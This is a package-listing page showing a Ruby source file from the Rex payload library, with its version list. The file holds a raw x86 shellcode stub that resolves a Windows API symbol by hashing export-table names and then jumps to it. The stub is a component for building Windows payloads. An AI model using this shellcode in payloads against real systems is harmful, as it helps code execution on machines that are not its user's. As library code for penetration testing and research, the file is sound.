Sha256: e102b5eaec90f99444bbcc24b42b824848af92157f1072a264feb0df1d45c29b

Contents?: true

Size: 646 Bytes

Versions: 15

Compression:

Stored size: 646 Bytes

Contents

# -*- coding: binary -*-
module Rex
module Payloads
module Win32

module Common

  #
  # Returns a stub that resolves the location of a symbol and then
  # calls it.  Refer to the following link for more details:
  #
  # http://uninformed.org/index.cgi?v=3&a=4&p=10
  #
  def self.resolve_call_sym
    "\x60\x31\xc9\x8b\x7d\x3c\x8b\x7c\x3d\x78\x01\xef\x8b" +
    "\x57\x20\x01\xea\x8b\x34\x8a\x01\xee\x31\xc0\x99\xac" +
    "\xc1\xca\x0d\x01\xc2\x84\xc0\x75\xf6\x41\x66\x39\xda" +
    "\x75\xe3\x49\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" +
    "\x5f\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" +
    "\x61\xff\xe0"
  end

end

end
end
end

Version data entries

15 entries across 15 versions & 3 rubygems

Version Path
rex-2.0.13 lib/rex/payloads/win32/common.rb
rex-2.0.12 lib/rex/payloads/win32/common.rb
rex-2.0.11 lib/rex/payloads/win32/common.rb
rex-2.0.10 lib/rex/payloads/win32/common.rb
rex-2.0.9 lib/rex/payloads/win32/common.rb
rex-2.0.8 lib/rex/payloads/win32/common.rb
rex-2.0.7 lib/rex/payloads/win32/common.rb
rex-2.0.5 lib/rex/payloads/win32/common.rb
rex-2.0.4 lib/rex/payloads/win32/common.rb
dstruct-0.0.1 lib/rex/payloads/win32/common.rb
rex-2.0.3 lib/rex/payloads/win32/common.rb
librex-0.0.999 lib/rex/payloads/win32/common.rb
rex-2.0.2 lib/rex/payloads/win32/common.rb
librex-0.0.71 lib/rex/payloads/win32/common.rb
librex-0.0.70 lib/rex/payloads/win32/common.rb